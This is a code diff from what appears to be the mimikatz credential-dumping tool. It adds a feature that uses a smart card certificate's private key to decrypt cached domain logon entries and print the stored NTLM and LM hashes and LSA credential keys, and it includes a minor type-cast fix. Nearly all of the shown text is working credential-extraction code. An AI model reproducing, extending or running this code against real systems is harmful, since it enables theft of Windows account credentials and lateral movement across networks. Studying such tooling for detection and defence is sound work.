[new] lsadump::cache can extract NTLM hash from SmartCard local cache (cc: @asolino)
[fix #133] Casting to ULONG result of the FIELD_OFFSET macro in lsasdump_dc module
This commit is contained in:
parent
448bf35019
commit
696ff18f11
|
@ -103,10 +103,14 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
|
|||
HKEY hSystemBase, hSecurityBase;
|
||||
BYTE sysKey[SYSKEY_LENGTH];
|
||||
BOOL hashStatus = FALSE;
|
||||
LPCWSTR szSystem = NULL, szSecurity = NULL, szHash, szPassword;
|
||||
LPCWSTR szSystem = NULL, szSecurity = NULL, szHash, szPassword, szSubject;
|
||||
UNICODE_STRING uPassword;
|
||||
KUHL_LSADUMP_DCC_CACHE_DATA cacheData = {0};
|
||||
|
||||
HCERTSTORE hCertStore = NULL;
|
||||
PCCERT_CONTEXT pCertCtx;
|
||||
BOOL toFree;
|
||||
|
||||
if(!secretsOrCache)
|
||||
{
|
||||
if(kull_m_string_args_byName(argc, argv, L"user", &cacheData.username, NULL))
|
||||
|
@ -135,6 +139,36 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
|
|||
else cacheData.username = NULL;
|
||||
kprintf(L"\n");
|
||||
}
|
||||
else if(kull_m_string_args_byName(argc, argv, L"subject", &szSubject, NULL))
|
||||
{
|
||||
if(hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, CERT_SYSTEM_STORE_CURRENT_USER | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My"))
|
||||
{
|
||||
if(pCertCtx = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szSubject, NULL))
|
||||
{
|
||||
if(CryptAcquireCertificatePrivateKey(pCertCtx, 0, NULL, &cacheData.hProv, &cacheData.keySpec, &toFree))
|
||||
{
|
||||
if(cacheData.keySpec == CERT_NCRYPT_KEY_SPEC)
|
||||
{
|
||||
PRINT_ERROR(L"CNG not supported yet\n");
|
||||
__try
|
||||
{
|
||||
if(toFree)
|
||||
NCryptFreeObject(cacheData.hProv);
|
||||
}
|
||||
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
|
||||
{
|
||||
PRINT_ERROR(L"keySpec == CERT_NCRYPT_KEY_SPEC without CNG Handle ?\n");
|
||||
}
|
||||
cacheData.hProv = 0;
|
||||
}
|
||||
}
|
||||
CertFreeCertificateContext(pCertCtx);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"CertFindCertificateInStore");
|
||||
CertCloseStore(hCertStore, CERT_CLOSE_STORE_FORCE_FLAG);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"CertOpenStore");
|
||||
}
|
||||
}
|
||||
|
||||
if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL))
|
||||
|
@ -185,6 +219,8 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
|
|||
kull_m_registry_close(hSystem);
|
||||
}
|
||||
}
|
||||
if(cacheData.hProv && toFree)
|
||||
CryptReleaseContext(cacheData.hProv, 0);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
@ -696,7 +732,7 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity,
|
|||
kprintf(L"\n[%s - ", secretName);
|
||||
kull_m_string_displayLocalFileTime(&pMsCacheEntry->lastWrite);
|
||||
kprintf(L"]\nRID : %08x (%u)\n", pMsCacheEntry->userId, pMsCacheEntry->userId);
|
||||
|
||||
|
||||
s1 = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data);
|
||||
if(lsaKeysStream) // NT 6
|
||||
{
|
||||
|
@ -705,6 +741,10 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity,
|
|||
kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2');
|
||||
usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName;
|
||||
usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA));
|
||||
|
||||
if(pCacheData->hProv && ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->unk1)
|
||||
kuhl_m_lsadump_decryptSCCache(pMsCacheEntry->enc_data + (s1 - ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->unk1), ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->unk1, pCacheData->hProv, pCacheData->keySpec);
|
||||
|
||||
if(pCacheData && pCacheData->username && (_wcsnicmp(pCacheData->username, usr.Buffer, usr.Length / sizeof(wchar_t)) == 0))
|
||||
{
|
||||
kprintf(L"> User cache replace mode (2)!\n");
|
||||
|
@ -785,6 +825,126 @@ void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version)
|
|||
kprintf(L"MsCacheV%c : ", version); kull_m_string_wprintf_hex(((PMSCACHE_DATA) entry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
|
||||
}
|
||||
|
||||
DECLARE_CONST_UNICODE_STRING(NTLM_PACKAGE_NAME, L"NTLM");
|
||||
DECLARE_CONST_UNICODE_STRING(LSACRED_PACKAGE_NAME, LSA_CREDENTIAL_KEY_PACKAGE_NAME);
|
||||
BOOL kuhl_m_lsadump_decryptSCCache(PBYTE data, DWORD size, HCRYPTPROV hProv, DWORD keySpec)
|
||||
{
|
||||
BOOL status = FALSE;
|
||||
PKIWI_ENC_SC_DATA pEnc = NULL;
|
||||
DWORD toDecryptSize = 0;
|
||||
|
||||
HCRYPTHASH hHash, hHash2;
|
||||
DWORD dwSigLen = 0;
|
||||
PBYTE sig;
|
||||
HCRYPTKEY hKey;
|
||||
|
||||
DWORD i, j;
|
||||
PPAC_CREDENTIAL_DATA credentialData = NULL;
|
||||
PNTLM_SUPPLEMENTAL_CREDENTIAL ntlmCredential;
|
||||
PNTLM_SUPPLEMENTAL_CREDENTIAL_V4 ntlmCredential4;
|
||||
PKIWI_CREDENTIAL_KEYS pKeys = NULL;
|
||||
|
||||
if(size > sizeof(KIWI_ENC_SC_DATA))
|
||||
{
|
||||
if(RtlEqualMemory(data, "SuppData", 8))
|
||||
{
|
||||
pEnc = &((PKIWI_ENC_SC_DATA_NEW) data)->data;
|
||||
toDecryptSize = ((PKIWI_ENC_SC_DATA_NEW) data)->dataSize - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt);
|
||||
}
|
||||
else
|
||||
{
|
||||
pEnc = (PKIWI_ENC_SC_DATA) data;
|
||||
toDecryptSize = size - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt);
|
||||
}
|
||||
|
||||
if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash))
|
||||
{
|
||||
CryptHashData(hHash, pEnc->toSign, sizeof(pEnc->toSign), 0);
|
||||
if(CryptSignHash(hHash, keySpec, NULL, 0, NULL, &dwSigLen))
|
||||
{
|
||||
if(sig = (PBYTE) LocalAlloc(LPTR, dwSigLen))
|
||||
{
|
||||
if(CryptSignHash(hHash, keySpec, NULL, 0, sig, &dwSigLen))
|
||||
{
|
||||
if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash2))
|
||||
{
|
||||
CryptHashData(hHash2, sig, dwSigLen, 0);
|
||||
CryptHashData(hHash2, pEnc->toHash, sizeof(pEnc->toHash), 0);
|
||||
if(CryptDeriveKey(hProv, CALG_RC4, hHash2, 0, &hKey)) // maybe RC2 sometimes ?
|
||||
{
|
||||
if(status = CryptDecrypt(hKey, 0, TRUE, 0, pEnc->toDecrypt, &toDecryptSize))
|
||||
{
|
||||
if(kull_m_pac_DecodeCredential(pEnc->toDecrypt + 24, toDecryptSize - 24, &credentialData))
|
||||
{
|
||||
for(i = 0; i < credentialData->CredentialCount; i++)
|
||||
{
|
||||
kprintf(L" [%u] %wZ", i, &credentialData->Credentials[i].PackageName);
|
||||
if(RtlEqualUnicodeString(&NTLM_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE))
|
||||
{
|
||||
ntlmCredential = (PNTLM_SUPPLEMENTAL_CREDENTIAL) credentialData->Credentials[i].Credentials;
|
||||
switch(ntlmCredential->Version)
|
||||
{
|
||||
case 0:
|
||||
if(ntlmCredential->Flags & 1)
|
||||
{
|
||||
kprintf(L"\n LM: ");
|
||||
kull_m_string_wprintf_hex(ntlmCredential->LmPassword, LM_NTLM_HASH_LENGTH, 0);
|
||||
}
|
||||
if(ntlmCredential->Flags & 2)
|
||||
{
|
||||
kprintf(L"\n NTLM: ");
|
||||
kull_m_string_wprintf_hex(ntlmCredential->NtPassword, LM_NTLM_HASH_LENGTH, 0);
|
||||
}
|
||||
break;
|
||||
case 4: // 10 ?
|
||||
ntlmCredential4 = (PNTLM_SUPPLEMENTAL_CREDENTIAL_V4) ntlmCredential;
|
||||
if(ntlmCredential4->Flags & 2)
|
||||
{
|
||||
kprintf(L"\n NTLM: ");
|
||||
kull_m_string_wprintf_hex(ntlmCredential4->NtPassword, LM_NTLM_HASH_LENGTH, 0);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
kprintf(L"\nUnknown version: %u\n", ntlmCredential->Version);
|
||||
}
|
||||
}
|
||||
else if(RtlEqualUnicodeString(&LSACRED_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE))
|
||||
{
|
||||
if(kull_m_rpc_DecodeCredentialKeys(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, &pKeys))
|
||||
{
|
||||
for(j = 0; j < pKeys->count; j++)
|
||||
kuhl_m_sekurlsa_genericKeyOutput(&pKeys->keys[j], NULL);
|
||||
kull_m_rpc_FreeCredentialKeys(&pKeys);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
kprintf(L"\n");
|
||||
kull_m_string_wprintf_hex(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, 1 | (16 << 16));
|
||||
}
|
||||
kprintf(L"\n");
|
||||
}
|
||||
kull_m_pac_FreeCredential(&credentialData);
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"CryptDecrypt");
|
||||
CryptDestroyKey(hKey);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"CryptDeriveKey(RC4)");
|
||||
CryptDestroyHash(hHash2);
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"CryptSignHash(data)");
|
||||
LocalFree(sig);
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"CryptSignHash(init)");
|
||||
CryptDestroyHash(hHash);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName)
|
||||
{
|
||||
DWORD szNeeded;
|
||||
|
|
|
@ -19,6 +19,7 @@
|
|||
#include "kuhl_m_lsadump_remote.h"
|
||||
#include "kuhl_m_crypto.h"
|
||||
#include "dpapi/kuhl_m_dpapi_oe.h"
|
||||
#include "sekurlsa/kuhl_m_sekurlsa.h"
|
||||
|
||||
#define SYSKEY_LENGTH 16
|
||||
#define SAM_KEY_DATA_SALT_LENGTH 16
|
||||
|
@ -303,6 +304,28 @@ typedef struct _MSCACHE_DATA {
|
|||
DWORD unk8;
|
||||
} MSCACHE_DATA, *PMSCACHE_DATA;
|
||||
|
||||
typedef struct _KIWI_ENC_SC_DATA {
|
||||
BYTE toSign[32];
|
||||
BYTE toHash[32];
|
||||
BYTE toDecrypt[ANYSIZE_ARRAY];
|
||||
} KIWI_ENC_SC_DATA, *PKIWI_ENC_SC_DATA;
|
||||
|
||||
typedef struct _KIWI_ENC_SC_DATA_NEW {
|
||||
BYTE Header[8]; // SuppData
|
||||
DWORD unk0;
|
||||
DWORD unk1;
|
||||
DWORD unk2;
|
||||
DWORD dataSize;
|
||||
KIWI_ENC_SC_DATA data;
|
||||
} KIWI_ENC_SC_DATA_NEW, *PKIWI_ENC_SC_DATA_NEW;
|
||||
|
||||
typedef struct _NTLM_SUPPLEMENTAL_CREDENTIAL_V4 {
|
||||
ULONG Version;
|
||||
ULONG Flags;
|
||||
ULONG unk;
|
||||
UCHAR NtPassword[LM_NTLM_HASH_LENGTH];
|
||||
} NTLM_SUPPLEMENTAL_CREDENTIAL_V4, *PNTLM_SUPPLEMENTAL_CREDENTIAL_V4;
|
||||
|
||||
typedef struct _WDIGEST_CREDENTIALS {
|
||||
BYTE Reserverd1;
|
||||
BYTE Reserverd2;
|
||||
|
@ -385,6 +408,8 @@ typedef struct _LSA_SUPCREDENTIALS_BUFFERS {
|
|||
typedef struct _KUHL_LSADUMP_DCC_CACHE_DATA {
|
||||
LPCWSTR username;
|
||||
BYTE ntlm[LM_NTLM_HASH_LENGTH];
|
||||
HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hProv;
|
||||
DWORD keySpec;
|
||||
} KUHL_LSADUMP_DCC_CACHE_DATA, *PKUHL_LSADUMP_DCC_CACHE_DATA;
|
||||
|
||||
typedef struct _KIWI_LSA_PRIVATE_DATA {
|
||||
|
@ -412,6 +437,7 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
|
|||
BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique);
|
||||
BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, IN PKUHL_LSADUMP_DCC_CACHE_DATA pCacheData);
|
||||
void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version);
|
||||
BOOL kuhl_m_lsadump_decryptSCCache(PBYTE data, DWORD size, HCRYPTPROV hProv, DWORD keySpec);
|
||||
void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName);
|
||||
BOOL kuhl_m_lsadump_decryptSecret(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecret, IN LPCWSTR KeyName, IN PNT6_SYSTEM_KEYS lsaKeysStream, IN PNT5_SYSTEM_KEY lsaKeyUnique, IN PVOID * pBufferOut, IN PDWORD pSzBufferOut);
|
||||
void kuhl_m_lsadump_candidateSecret(DWORD szBytesSecrets, PVOID bufferSecret, PCWSTR prefix, PCWSTR secretName);
|
||||
|
|
|
@ -2358,7 +2358,7 @@ ULONG SRV_IDL_DRSBind(handle_t rpc_handle, UUID *puuidClientDsa, DRS_EXTENSIONS
|
|||
{
|
||||
if(((PDRS_EXTENSIONS_INT) pextClient)->dwFlags & DRS_EXT_STRONG_ENCRYPTION)
|
||||
{
|
||||
size = ((PDRS_EXTENSIONS_INT) pextClient)->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) ? FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) : FIELD_OFFSET(DRS_EXTENSIONS_INT, SiteObjGuid);
|
||||
size = (ULONG) ((((PDRS_EXTENSIONS_INT) pextClient)->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt)) ? FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) : FIELD_OFFSET(DRS_EXTENSIONS_INT, SiteObjGuid));
|
||||
if(*ppextServer = (DRS_EXTENSIONS *) midl_user_allocate(size))
|
||||
{
|
||||
RtlZeroMemory(*ppextServer, size);
|
||||
|
|
|
@ -25,4 +25,50 @@ void CredentialKeys_Decode(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pTyp
|
|||
void CredentialKeys_Free(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pType);
|
||||
|
||||
#define kull_m_rpc_DecodeCredentialKeys(/*PVOID */data, /*DWORD */size, /*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Decode(data, size, pObject, (PGENERIC_RPC_DECODE) CredentialKeys_Decode)
|
||||
#define kull_m_rpc_FreeCredentialKeys(/*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) CredentialKeys_Free)
|
||||
#define kull_m_rpc_FreeCredentialKeys(/*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) CredentialKeys_Free)
|
||||
|
||||
#define LSA_CREDENTIAL_KEY_PACKAGE_NAME L"LSACREDKEY"
|
||||
//#define LSA_CREDENTIAL_KEY_PACKAGE_ID 0x10000 // pseudo package id. must not collide with any other package id
|
||||
//#define LSA_CREDENTIAL_KEY_NAME "CredentialKeys"
|
||||
//#define LSA_CREDENTIAL_KEY_ROOT_KEY_ITERATIONS (1024 * 10) // in parity with cache logon verifier
|
||||
//
|
||||
//typedef enum _LSA_CREDENTIAL_KEY_SOURCE_TYPE {
|
||||
// eFromPrecomputed = 1, // used by Kerberos
|
||||
// eFromClearPassword,
|
||||
// eFromNtOwf,
|
||||
//} LSA_CREDENTIAL_KEY_SOURCE_TYPE, *PLSA_CREDENTIAL_KEY_SOURCE_TYPE;
|
||||
//
|
||||
//typedef enum _LSA_CREDENTIAL_KEY_TYPE {
|
||||
// eDPAPINtOwf = 1, // legacy NTOWF used by DPAPI
|
||||
// eDPAPISha1, // legacy SHA1 used by DPAPI
|
||||
// eRootKey, // PBKDF2(NTOWF), uplevel root key
|
||||
// eDPAPIProtection, // uplevel DPAPI protection key, derived from root key
|
||||
//} LSA_CREDENTIAL_KEY_TYPE, *PLSA_CREDENTIAL_KEY_TYPE;
|
||||
//
|
||||
//typedef struct _LSA_CREDENTIAL_KEY {
|
||||
// LSA_CREDENTIAL_KEY_SOURCE_TYPE SourceType;
|
||||
// LSA_CREDENTIAL_KEY_TYPE KeyType;
|
||||
// USHORT Iterations;
|
||||
// USHORT KeySize;
|
||||
//#ifdef MIDL_PASS
|
||||
// [size_is(KeySize)]
|
||||
//#endif // MIDL_PASS
|
||||
// PUCHAR KeyBuffer;
|
||||
//} LSA_CREDENTIAL_KEY, *PLSA_CREDENTIAL_KEY;
|
||||
//
|
||||
//typedef struct _LSA_CREDENTIAL_KEY_ARRAY {
|
||||
// USHORT KeyCount;
|
||||
//#ifdef MIDL_PASS
|
||||
// [size_is(KeyCount)] LSA_CREDENTIAL_KEY Keys[*];
|
||||
//#else // MIDL_PASS
|
||||
// LSA_CREDENTIAL_KEY Keys[ANYSIZE_ARRAY];
|
||||
//#endif // MIDL_PASS
|
||||
//} LSA_CREDENTIAL_KEY_ARRAY, *PLSA_CREDENTIAL_KEY_ARRAY;
|
||||
//
|
||||
////
|
||||
//// convenience helper
|
||||
////
|
||||
//typedef struct _LSA_CREDENTIAL_KEY_ARRAY_STORAGE {
|
||||
// USHORT KeyCount;
|
||||
// LSA_CREDENTIAL_KEY Keys[8];
|
||||
//} LSA_CREDENTIAL_KEY_ARRAY_STORAGE, *PLSA_CREDENTIAL_KEY_ARRAY_STORAGE;
|
Loading…
Reference in New Issue